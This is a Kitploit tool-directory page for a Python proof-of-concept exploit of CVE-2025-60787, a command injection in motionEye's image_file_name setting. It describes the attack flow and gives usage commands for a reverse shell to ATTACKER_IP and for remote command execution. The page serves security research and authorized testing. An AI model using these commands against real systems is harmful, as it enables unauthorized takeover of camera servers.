Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-60787-POC — Python PoC for CVE-2025-60787, authenticated OS command injection RCE in motionEye <= 0.43.1b4 via unsanitized image_file_name config | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2025-60787-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubd3vn0mi/cve-2025-60787-poc

CVE-2025-60787-POC

Python PoC for CVE-2025-60787, authenticated OS command injection RCE in motionEye <= 0.43.1b4 via unsanitized image_file_name config

View Repository
26 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-60787 - motionEye Authenticated RCE

Authenticated Remote Code Execution in motionEye <= 0.43.1b4 via unsanitized motion config parameter

Author: d3vn0mi

Vulnerability Overview

FieldDetails
CVE IDCVE-2025-60787
CVSS Score7.2 (High)
TypeOS Command Injection (CWE-78)
AffectedmotionEye <= 0.43.1b4
Fixed in0.43.1b5

motionEye accepts arbitrary strings in configuration fields such as image_file_name and writes them directly into Motion configuration files (/etc/motioneye/camera-*.conf). When the Motion service restarts, it interprets these fields as shell-expandable strings, allowing an authenticated attacker to inject and execute arbitrary OS commands.

The web UI includes client-side validation for these fields, but this can be trivially bypassed by sending crafted API requests directly.

Attack Flow

  1. Authenticate to motionEye with valid admin credentials
  2. Fetch the camera configuration list
  3. POST a modified configuration with a malicious image_file_name value
  4. Motion processes the injected command when taking snapshots (via capture_mode: interval-snapshots)

Requirements

  • Python 3.6+
  • requests library
  • Valid motionEye admin credentials
  • Network access to the target motionEye instance

Installation

root@kitploit:~
git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt

Usage

The exploit supports two modes: reverse shell and command execution.

Reverse Shell

Start a listener on your machine, then run:

root@kitploit:~
python3 exploit.py revshell \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -i ATTACKER_IP \
    --port 4444

Command Execution

root@kitploit:~
python3 exploit.py command \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -e "id; whoami"

Options

FlagDescription
--urlTarget motionEye URL including port
--usermotionEye username
--passwordmotionEye password
-i / --hostListener IP (revshell mode)
--portListener port (revshell mode)
-e / --execCommand to execute (command mode)
--camera-idTarget a specific camera ID
--shUse /bin/sh instead of /bin/bash
--no-verifySkip TLS certificate verification
--proxyRoute traffic through a proxy (e.g. http://127.0.0.1:8080)

References

  • GitHub Advisory - GHSA-j945-qm58-4gjx
  • Exploit-DB #52481
  • Rapid7 Metasploit Module
  • motionEye Project

Credits

  • d3vn0mi - Exploit development and tooling
  • gunzf0x - Original CVE discovery and research

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this software. Always obtain proper authorization before testing.

License

This project is licensed under the MIT License.

Download Tool